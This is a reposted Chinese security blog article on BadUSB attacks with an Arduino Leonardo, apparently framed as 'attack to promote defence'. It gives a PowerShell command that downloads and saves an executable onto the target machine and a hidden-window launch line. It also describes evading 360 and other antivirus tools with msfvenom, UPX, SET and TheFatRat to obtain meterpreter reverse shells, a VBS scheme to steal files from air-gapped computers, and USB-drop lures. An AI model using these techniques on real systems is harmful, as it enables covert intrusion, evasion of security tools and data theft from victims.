search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

基於ArduinoLeonardo板子的BadUSB攻擊實戰

* 原創作者:Professor X,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

前言

在Freebuf上許多同學已經對HID攻擊談了自己的看法,如維克斯同學的《利用Arduino快速製作Teensy BadUSB》無論從科普還是實踐都給我們詳盡的描述了BadUSB製作的相關過程,lpcdma同學的《使用arduino進行滲透測試》則通過SET與Arduino的結合進行滲透,mrzcpo同學的 《HID高級攻擊姿勢:利用PowerShell腳本進行文件竊取》則介紹了獲取文件的詳細步驟,我在學習領悟之後想到了一些改進方案,比如繞過360主動防禦,隱藏攻擊行為,payload免殺,針對不聯網設備攻擊等,現分享如下,如有不足之處還請大佬指教。

1 、繞過360主動防禦

輸入Powershell命令

powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://127.0.0.1/PUTTY.EXE';$file = ' D:\\x.exe ';$clnt.DownloadFile($url,$file);

這個命令的意思大體是從伺服器(這裡是本地web伺服器)下載EXE到D盤上,但是直接輸入360會彈框:

這顯然會引起用戶注意:-O,而在之前文章中並未提及,可能是在未裝殺軟的虛擬機中運行的。因為此處不可以通過操控鍵盤,用先按左鍵,再按回車的方法實現「允許程序運行」,想到用模擬滑鼠的操作完成兩次點擊,然而比較難以操控,后發現可以通過分步完成繞過:P

注意在實際操作中不要把文件下載到C盤中,那樣還需要一個管理員許可權,比較麻煩。

2、最大化隱蔽操作

在調出運行窗口后輸入

cmd /c start /min powershell -w hidden

/c標明執行玩/c後面的語句后關閉cmd窗口,就不會彈出一個黑框來嚇人了,start /min是最小化窗口運行命令,可以避免彈出powershell的藍框,-w hidden是讓powershell以隱蔽的模式運行,此時仍可以輸入命令,但不會出現對話框,這樣就可以讓命令運行儘可能的隱蔽了:P

當然是為了裝個小X,做演示的話就可以先不管這些了,不過從實戰角度出發,還是低調為妙:P

3、免殺Payload

在完成了文件下載之後我們就思考如何拿到shell,此時有兩種方式:

3.1)對msf攻擊負荷的免殺處理

在Kali2.0裡面msfpayload和msfencode合二為一成為了msfvenom(venom:毒液(⊙o⊙))

-p指定負荷類型,後面是參數,-f指定輸出格式,-x指定自義定的模板,這裡用Putty.exe,-e指定編碼格式,-i指定編碼次數,-o指定輸出位置(msfvenom可能由於集成了兩個功能,導致不能多重編碼||=_=)

再用upx進行加殼處理,-9指定以最高等級加殼,最低為1

然而還是被幹掉了(;′⌒`)但即使用BT5裡面帶的msfencode進行多次編碼也只能過部分殺軟,而且一旦木馬被收錄360雲端就永久失效了,我們找一種現在看起來更好的方法:P

3.2)SET工具集中的Powershell攻擊向量

直接下載msf生成的Payload即使花式編碼也難免被高啟發、雲查殺、沙箱檢測等手段幹掉,所以通過強大的Powershell來建立反向連接是不錯的選擇,然而在SET工具包中Arduion-Based Attack Vector還針對的是Teensy,並不能直接在Leonardo上使用,故需通過SET中Powershell Attack Vector來實現目的

然後會打開一個MSF的Reverse_TCP Listener

此時只需要在靶機上運行SET生成的Payload即可(初始生成的是txt,後綴改為bat即可)可以看到打開了一個meterpreter連接:P

3.3)TheFatRat

Screetsec組織新出了一個TheFatRat,可以生成免殺的Payload,也是使用的Powershell+bat進行攻擊我們來看一下效果:P生成步驟:

生成的test.bat可以過360

同時還能過大多數AV(只有一家報了毒):P

成功打開meterpreter會話:P

嘗試后發現[2]Create exe file with c# + Powershell產生的exe文件會在一會後報毒,也許可以用,但還是會引起被控者警覺,看來Powershell,bat這樣Windows組件好啊,作為系統組件不可能被查殺;文件小巧而又有底層支持,從而功能強大;驅動腳本非PE從而難以以靜態方法查殺;而且大多數Windows電腦並沒有禁用Powershell,故成為當今病毒界大紅大紫的人物:P

4、針對不聯網設備攻擊

我們知道許多機密場合計算機都是不聯網的,對此我們只能通過USB帶出資料,而可惜的是現有BadUSB設備並無存儲功能-_-||(也許可以訂製),所以只能通過擺渡攻擊實現,第一次導入代碼自動搜索想要的文件,打包壓縮,並在檢測到有U盤插入時將文件傳入U盤,此VBS代碼在後台運行,等待時機,先用Arduino Leanardo傳入代碼,再用另一個U盤取出文件。

vbs代碼實現如下,主要功能是通過模糊查詢找到想要的文件,放到D:\fn(fileneeded)文件夾下,壓縮后刪除原文件並等待U盤插入,插入后將fn.rar傳入U盤並刪除目標電腦中的fn.rar和VBS腳本

不過當今各種殺軟對VBS腳本是嚴防死守,很多正常功能都報毒,沒有高超的VBS免殺技術恐怕是難以完成了。或許可以寄託於不聯網的機器松於防備,沒裝AV…,不過不聯網的電腦多半是放絕密信息的,要是你能偷到就可以吃槍子了||+_+。不知道你下輩子還想不想干黑客,如果可能的話十五年後你又是一條好漢:P

結語

在實戰中還可以通過仔細選擇USB投擲地點,選擇或卡哇伊或猥瑣的U盤外殼,或在USB上貼上虛構的聯繫方式,「撿到請歸還」等標籤增加迷惑性,總之不要低估人類愚蠢的好奇心就好:P

最後的最後,儘管在《超限戰》中說道「一切可以幫助人類的東西皆可加害於人類」,但我更想說的是:反之,亦然 !那些傷害人類的東西會讓我們變得更加堅強,願以此文以攻促防,為網路空間的安全添磚加瓦!

本文存在攻擊性,請勿用於非法用途,一切責任與本人無關



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦